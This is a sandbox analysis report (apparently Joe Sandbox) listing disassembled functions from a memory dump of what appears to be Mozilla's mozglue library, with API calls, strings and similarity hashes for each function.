Instruction Fuzzy Hash: 0133AD72E0021ACFCB15CF98C8806ADBBF2FF99310F288269D955AB755D731E945CB90

Function 6C99FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7B8), ref: 6C99FF81
LeaveCriticalSection.KERNEL32(6CA0E7B8), ref: 6C9A022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C9A0240
EnterCriticalSection.KERNEL32(6CA0E768), ref: 6C9A025B
LeaveCriticalSection.KERNEL32(6CA0E768), ref: 6C9A027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9A0D67, 6C9A0D7B, 6C9A0DAC
<jemalloc>, xrefs: 6C9A0D62, 6C9A0D76, 6C9A0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C99FE99, 6C99FEB7, 6C99FED3, 6C9A0DB8, 6C9A0DD3, 6C9A19B4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 7c0920c2f84c3ac1a74ec32ea99f916477fd7e3e64ab1ea4e1544397146f6d13
Instruction ID: 07fd525ece942974d48aaec0cc3e24000f2e0b74be3b4ef1514646dd3307143c
Opcode Fuzzy Hash: 7c0920c2f84c3ac1a74ec32ea99f916477fd7e3e64ab1ea4e1544397146f6d13
Instruction Fuzzy Hash: 8FC2D171A05741CFD714CF68C580716BBE5BF86328F28C66DE8AA8B795D731E842CB81

Function 6C9EE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9EE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9EEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9EF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9F0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9F0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9F0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9F0ED4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 1e652f7c6c12fef109c36505d4b56d63c0e806b1d1632e42585b2321982d4df3
Instruction ID: d4c768ff8d10fed8edcee693fd27a7124b11b8ee80ef7d71ae88cf3f797879ec
Opcode Fuzzy Hash: 1e652f7c6c12fef109c36505d4b56d63c0e806b1d1632e42585b2321982d4df3
Instruction Fuzzy Hash: 02639F71E0025ACFCB04CFA8C8905EDFBB6FF99314F298269D855AB745D730A946CB90

Function 6C9C3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9E7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9C3E7D,?,?,?,6C9C3E7D,?,?), ref: 6C9E777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9C3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9C3F5C
VerSetConditionMask.NTDLL ref: 6C9C3F8D
VerSetConditionMask.NTDLL ref: 6C9C3F99
VerSetConditionMask.NTDLL ref: 6C9C3FA0
VerSetConditionMask.NTDLL ref: 6C9C3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9C3FB4

Strings

nvinit.dll, xrefs: 6C9C4479
nvd3d9wrap.dll, xrefs: 6C9C4466

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: a80af8d313c6708a048223b3bc24537c8df88a5d268dc681cdfc587612dd2919
Instruction ID: d59131798c4ca38d735239761c9238dafd6ab04e5ec236204ed37bff9eca7a9c
Opcode Fuzzy Hash: a80af8d313c6708a048223b3bc24537c8df88a5d268dc681cdfc587612dd2919
Instruction Fuzzy Hash: A052E332710B859FD714DF34C880ABB77F9AF65208F14492DD4A68BB42DB74E909CBA1

Function 6C9AED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C9AEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9AEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9B1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C9B1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9B1A3E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6ac94e054b3c779f6d8c29a774eafaae48a381bae75b49cff206a0da8c6939c8
Instruction ID: d30b2ca99efb0eaf37f4c115fc4ab5d4bda2d06977f7a329e4e0f802d18a0785
Opcode Fuzzy Hash: 6ac94e054b3c779f6d8c29a774eafaae48a381bae75b49cff206a0da8c6939c8
Instruction Fuzzy Hash: 7FB30971E0421ADFCB14CFA8C990AADB7B2FF49304F2581A9D459BB745D730A986CF90

Function 6C99FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7B8), ref: 6C99FF81
LeaveCriticalSection.KERNEL32(6CA0E7B8), ref: 6C9A022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C9A0240
EnterCriticalSection.KERNEL32(6CA0E768), ref: 6C9A025B
LeaveCriticalSection.KERNEL32(6CA0E768), ref: 6C9A027B

Strings

MOZ_CRASH(), xrefs: 6C9A0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C99FE99, 6C99FEB7, 6C99FED3, 6C9A0DB8, 6C9A0DD3, 6C9A19B4, 6C9A1A10

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 51228db0f9388a96d795eed07337b4335809049b714b02cd8dde1bd0a52949ae
Instruction ID: af3915eaf1caa1243eb4b8d9c64707ef1a2779c511d98d80d1d189e42b097be6
Opcode Fuzzy Hash: 51228db0f9388a96d795eed07337b4335809049b714b02cd8dde1bd0a52949ae
Instruction Fuzzy Hash: 0EB2BE71605741CFD718CF69C590716BBE5BF86328F28C66CE86A8BBA5C770E842CB41

Function 6C9D5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C9D6131
schema, xrefs: 6C9D606D
expected a Time entry, xrefs: 6C9D5CB6
expected a Count entry, xrefs: 6C9D5AC3
ProfileBuffer parse error: %s, xrefs: 6C9D5AC8, 6C9D5CBB
name, xrefs: 6C9D5E79, 6C9D5E8F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e946c87145f5a265419a22c0943c02d0153accecf8ba419bd8f8ecdd4d5cef59
Instruction ID: c5bbbe5475c358958bd9f1c1b4e52baf428361adaf39d6281fce7c0484cf9762
Opcode Fuzzy Hash: e946c87145f5a265419a22c0943c02d0153accecf8ba419bd8f8ecdd4d5cef59
Instruction Fuzzy Hash: AE926CB1A087418FD724CF28C49079ABBE1FFD9308F15891DE599AB751DB30E849CB92

Function 6C9D2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9D2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9D2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9D2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9D3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9D3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9D36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9D378D
set , xrefs: 6C9D36EC
get , xrefs: 6C9D3205

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: df9681c2ac15c84d54b090478e755d599c7cb861a27ea5b42a8aba08efc4a69d
Instruction ID: 9030083268258a1a931aa26ca4fcee6f54979884667c17de79cd64f4b30a0aa2
Opcode Fuzzy Hash: df9681c2ac15c84d54b090478e755d599c7cb861a27ea5b42a8aba08efc4a69d
Instruction Fuzzy Hash: EC328CB42087818FD324CF24C4806AEBBF6BFD9218F55C81DE599A7751DB30E94ACB52

Function 6C9C7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C9C8280, 6C9C83E1
schema, xrefs: 6C9C81E3, 6C9C8311
name, xrefs: 6C9C7ECF, 6C9C8335
(pre-xul), xrefs: 6C9C7E88

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: ea78e6ec455e4cda678b5ca4b2bf5ca496b88a84baf6411034920aeb4fabe355
Instruction ID: 3ab948d1aae79a5c6cc40a5002b0448da39097ac729cb94d5a8cbd9b27bed6f5
Opcode Fuzzy Hash: ea78e6ec455e4cda678b5ca4b2bf5ca496b88a84baf6411034920aeb4fabe355
Instruction Fuzzy Hash: 94E170B1B043408BD710CF68884066BFBE9BF95718F144A2DE9A9D7790DBB0DD498B92

Function 6C9AD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD4F2
LeaveCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD50B

Part of subcall function 6C98CFE0: EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C98CFF6
Part of subcall function 6C98CFE0: LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C98D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD52E
EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9AD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9AD6A6
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9AD712
LeaveCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9AD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C9AD82C
<jemalloc>, xrefs: 6C9AD827

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: c6253ad70469d2e43f3da4593e342fde8fe7fe8b685d11f3346a37ebb0dcfc7d
Instruction ID: 77aae35ac69873a2c597e1262222d96e9741384c1b80650f3fde05952ddd7b83
Opcode Fuzzy Hash: c6253ad70469d2e43f3da4593e342fde8fe7fe8b685d11f3346a37ebb0dcfc7d
Instruction Fuzzy Hash: 3291C472B047018FD718CF68C19466AB7F5FB89758F14892EE99AC7B80D730E846CB42

Function 6C9A5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2
memset.VCRUNTIME140(6C9E7765,000000E5,A0C09015), ref: 6C9A61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C9A7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A72E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A730D
MOZ_CRASH(), xrefs: 6C9A7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A7BCD, 6C9A7C1F, 6C9A7C34, 6C9A80FD

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: af5ee42ce2b6d6776200b9bf01db15ca923c4ca5a6ccae309edd22348f23c83a
Instruction ID: db67ec3058b2453eccff66bb143eeec5059da529a4b3a8089667823b60f9d6bd
Opcode Fuzzy Hash: af5ee42ce2b6d6776200b9bf01db15ca923c4ca5a6ccae309edd22348f23c83a
Instruction Fuzzy Hash: 0E338B716067018FC308CF6DC591715BBE2BF85328F29C6ADE9698B7A9D731E842CB41

Function 6C983480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C983492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9834A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9834EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C98350E
__Init_thread_footer.LIBCMT ref: 6C983522
__aulldiv.LIBCMT ref: 6C983552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C98357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C983592

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

Strings

kernel32.dll, xrefs: 6C9834EA
GetSystemTimePreciseAsFileTime, xrefs: 6C983508

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 45a75a4196b7cda0b2ebdf39de63d07906d8695e64837aa00d3d91cb532e1e49
Instruction ID: 1eca1eecf34f7a6d0acef15843fef50fb5da81f11c37973e91974f54561124bb
Opcode Fuzzy Hash: 45a75a4196b7cda0b2ebdf39de63d07906d8695e64837aa00d3d91cb532e1e49
Instruction Fuzzy Hash: F8316F71B01246ABDF08DFB5D948ABA77B9FB45388F10851DE509A3690DB70D907CBA0

Function 6C9E4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9E4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E4F2E
moz_xmalloc.MOZGLUE ref: 6C9E4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9E4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E52E6
Sleep.KERNEL32(00000010), ref: 6C9E5481
free.MOZGLUE(?), ref: 6C9E5498

Strings

(, xrefs: 6C9E5250

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bbb822da2d0142dcb92a045aa7824fd162f45bd37ee3677408afb2279c837604
Instruction ID: 65b3f85d2468d0179bb6137d3b597242223280f3b37212e183fddd1645e5567b
Opcode Fuzzy Hash: bbb822da2d0142dcb92a045aa7824fd162f45bd37ee3677408afb2279c837604
Instruction Fuzzy Hash: 2EF1C271A18B418FC716CF39C85062BB7F9AFE6384F05872EF856A7651DB31D4428B81

Function 6C997810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E744), ref: 6C997885
LeaveCriticalSection.KERNEL32(6CA0E744), ref: 6C9978A5
EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C9978AD
LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C9978CD
EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9978D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9978E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C99795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9979BB
LeaveCriticalSection.KERNEL32(?), ref: 6C997BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C997C82
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C997CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C997DAF

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: bd6e58497a79876d518a395aa69e014cdbc29e50b94b96af77382f41b94cadba
Instruction ID: 6fb1e925dbc5b0894f1f2495c3414faf2f8918fe9ef8ec513e938f38146e9568
Opcode Fuzzy Hash: bd6e58497a79876d518a395aa69e014cdbc29e50b94b96af77382f41b94cadba
Instruction Fuzzy Hash: B9026571A0121ACFDB54CF19D984799B7B5FF48318F2982AAD809A7751DB30EE91CF80

Function 6C9E5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9E6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9E6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C98EE51,?), ref: 6C9E6046
OutputDebugStringA.KERNEL32(?,6C98EE51,?), ref: 6C9E6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9E6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9E6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9E6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CA0148E), ref: 6C9E6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C98EE51,00000000,?), ref: 6C9E60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9E60C4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 1a19bf402e90db816efadaa5e64d9cf86be0a3f0eff7793ddc8b67d565fffc1d
Instruction ID: c7ee58fef6c587cbee391a053e75df9fb9f5a5e3f036edb86ba9b46ee38c8605
Opcode Fuzzy Hash: 1a19bf402e90db816efadaa5e64d9cf86be0a3f0eff7793ddc8b67d565fffc1d
